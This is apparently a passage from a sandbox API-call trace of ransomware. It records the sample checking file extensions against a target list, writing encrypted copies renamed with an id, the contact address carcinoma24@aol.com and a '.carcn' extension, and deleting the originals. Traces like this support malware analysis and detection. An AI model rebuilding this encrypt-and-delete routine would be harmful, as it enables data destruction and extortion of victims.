lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.005] lstrlenW (lpString="eula.rtf") returned 8 [0161.005] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.005] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=4254) returned 1 [0161.005] CloseHandle (hObject=0x2fc) returned 1 [0161.006] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0161.006] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.006] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.006] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.006] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.006] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0161.006] GetLastError () returned 0x0 [0161.006] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x109e, lpOverlapped=0x0) returned 1 [0161.051] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0161.052] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.052] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.052] SetEndOfFile (hFile=0x2e0) returned 1 [0161.052] CloseHandle (hObject=0x2e0) returned 1 [0161.053] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.053] SetEndOfFile (hFile=0x2fc) returned 1 [0161.054] CloseHandle (hObject=0x2fc) returned 1 [0161.054] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.054] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0161.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.055] lstrlenW (lpString=".doc") returned 4 [0161.055] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.055] lstrlenW (lpString=".docx") returned 5 [0161.055] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.055] lstrlenW (lpString=".pdf") returned 4 [0161.055] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.055] lstrlenW (lpString=".xls") returned 4 [0161.055] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.055] lstrlenW (lpString=".xlsx") returned 5 [0161.055] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.055] lstrlenW (lpString=".ppt") returned 4 [0161.055] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.055] lstrlenW (lpString=".zip") returned 4 [0161.055] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.055] lstrlenW (lpString=".rar") returned 4 [0161.055] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.055] lstrlenW (lpString=".bz2") returned 4 [0161.055] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.055] lstrlenW (lpString=".7z") returned 3 [0161.055] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.055] lstrlenW (lpString=".dbf") returned 4 [0161.055] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.055] lstrlenW (lpString=".1cd") returned 4 [0161.055] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.056] lstrlenW (lpString=".jpg") returned 4 [0161.056] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.056] lstrlenW (lpString=".doc") returned 4 [0161.056] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.056] lstrlenW (lpString=".docx") returned 5 [0161.056] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.056] lstrlenW (lpString=".pdf") returned 4 [0161.056] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.056] lstrlenW (lpString=".xls") returned 4 [0161.056] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.056] lstrlenW (lpString=".xlsx") returned 5 [0161.056] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.056] lstrlenW (lpString=".ppt") returned 4 [0161.056] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.056] lstrlenW (lpString=".zip") returned 4 [0161.056] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.056] lstrlenW (lpString=".rar") returned 4 [0161.056] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.056] lstrlenW (lpString=".bz2") returned 4 [0161.056] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.056] lstrlenW (lpString=".7z") returned 3 [0161.056] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.056] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.057] lstrlenW (lpString=".dbf") returned 4 [0161.057] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.057] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.057] lstrlenW (lpString=".1cd") returned 4 [0161.057] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.057] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0161.057] lstrlenW (lpString=".jpg") returned 4 [0161.057] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.057] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.057] lstrlenW (lpString="eula.rtf") returned 8 [0161.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.057] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=10125) returned 1 [0161.057] CloseHandle (hObject=0x2fc) returned 1 [0161.057] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0161.057] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.058] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.058] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0161.058] GetLastError () returned 0x0 [0161.058] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x278d, lpOverlapped=0x0) returned 1 [0161.381] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x2790, lpOverlapped=0x0) returned 1 [0161.382] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.382] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.382] SetEndOfFile (hFile=0x2e0) returned 1 [0161.382] CloseHandle (hObject=0x2e0) returned 1 [0161.383] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.383] SetEndOfFile (hFile=0x2fc) returned 1 [0161.384] CloseHandle (hObject=0x2fc) returned 1 [0161.384] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.384] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0161.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.384] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.384] lstrlenW (lpString=".doc") returned 4 [0161.384] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.384] lstrlenW (lpString=".docx") returned 5 [0161.384] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.384] lstrlenW (lpString=".pdf") returned 4 [0161.384] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.384] lstrlenW (lpString=".xls") returned 4 [0161.385] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.385] lstrlenW (lpString=".xlsx") returned 5 [0161.385] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.385] lstrlenW (lpString=".ppt") returned 4 [0161.385] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.385] lstrlenW (lpString=".zip") returned 4 [0161.385] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.385] lstrlenW (lpString=".rar") returned 4 [0161.385] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.385] lstrlenW (lpString=".bz2") returned 4 [0161.385] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.385] lstrlenW (lpString=".7z") returned 3 [0161.385] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.385] lstrlenW (lpString=".dbf") returned 4 [0161.385] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.385] lstrlenW (lpString=".1cd") returned 4 [0161.385] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.385] lstrlenW (lpString=".jpg") returned 4 [0161.385] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.385] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.385] lstrlenW (lpString=".doc") returned 4 [0161.385] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.385] lstrlenW (lpString=".docx") returned 5 [0161.385] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.385] lstrlenW (lpString=".pdf") returned 4 [0161.386] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.386] lstrlenW (lpString=".xls") returned 4 [0161.386] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.386] lstrlenW (lpString=".xlsx") returned 5 [0161.386] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.386] lstrlenW (lpString=".ppt") returned 4 [0161.386] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.386] lstrlenW (lpString=".zip") returned 4 [0161.386] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.386] lstrlenW (lpString=".rar") returned 4 [0161.386] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.386] lstrlenW (lpString=".bz2") returned 4 [0161.386] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.386] lstrlenW (lpString=".7z") returned 3 [0161.386] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.386] lstrlenW (lpString=".dbf") returned 4 [0161.386] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.386] lstrlenW (lpString=".1cd") returned 4 [0161.386] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.386] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0161.386] lstrlenW (lpString=".jpg") returned 4 [0161.386] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.386] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.386] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.387] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=82374) returned 1 [0161.387] CloseHandle (hObject=0x2fc) returned 1 [0161.387] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0161.387] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0161.387] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.387] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.387] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0161.387] GetLastError () returned 0x0 [0161.388] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x141c6, lpOverlapped=0x0) returned 1 [0161.423] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x141d0, lpOverlapped=0x0) returned 1 [0161.425] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.425] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.426] SetEndOfFile (hFile=0x2e0) returned 1 [0161.426] CloseHandle (hObject=0x2e0) returned 1 [0161.427] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.427] SetEndOfFile (hFile=0x2fc) returned 1 [0161.429] CloseHandle (hObject=0x2fc) returned 1 [0161.429] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.429] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0161.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.429] lstrlenW (lpString=".doc") returned 4 [0161.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.429] lstrlenW (lpString=".docx") returned 5 [0161.429] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.429] lstrlenW (lpString=".pdf") returned 4 [0161.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.429] lstrlenW (lpString=".xls") returned 4 [0161.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.429] lstrlenW (lpString=".xlsx") returned 5 [0161.429] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.429] lstrlenW (lpString=".ppt") returned 4 [0161.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.430] lstrlenW (lpString=".zip") returned 4 [0161.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.430] lstrlenW (lpString=".rar") returned 4 [0161.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString=".bz2") returned 4 [0161.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString=".7z") returned 3 [0161.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.430] lstrlenW (lpString=".dbf") returned 4 [0161.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.430] lstrlenW (lpString=".1cd") returned 4 [0161.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.430] lstrlenW (lpString=".jpg") returned 4 [0161.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.430] lstrlenW (lpString=".doc") returned 4 [0161.430] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString=".docx") returned 5 [0161.430] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.430] lstrlenW (lpString=".pdf") returned 4 [0161.430] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString=".xls") returned 4 [0161.430] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString=".xlsx") returned 5 [0161.430] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.430] lstrlenW (lpString=".ppt") returned 4 [0161.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.430] lstrlenW (lpString=".zip") returned 4 [0161.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.430] lstrlenW (lpString=".rar") returned 4 [0161.431] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.431] lstrlenW (lpString=".bz2") returned 4 [0161.431] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.431] lstrlenW (lpString=".7z") returned 3 [0161.431] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.431] lstrlenW (lpString=".dbf") returned 4 [0161.431] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.431] lstrlenW (lpString=".1cd") returned 4 [0161.431] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0161.431] lstrlenW (lpString=".jpg") returned 4 [0161.431] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.431] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.432] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0161.455] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=81482) returned 1 [0161.455] CloseHandle (hObject=0x2f8) returned 1 [0161.455] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0161.455] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.457] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.457] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.460] GetLastError () returned 0x0 [0161.460] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0161.568] WriteFile (in: hFile=0x388, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x13e50, lpOverlapped=0x0) returned 1 [0161.569] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, 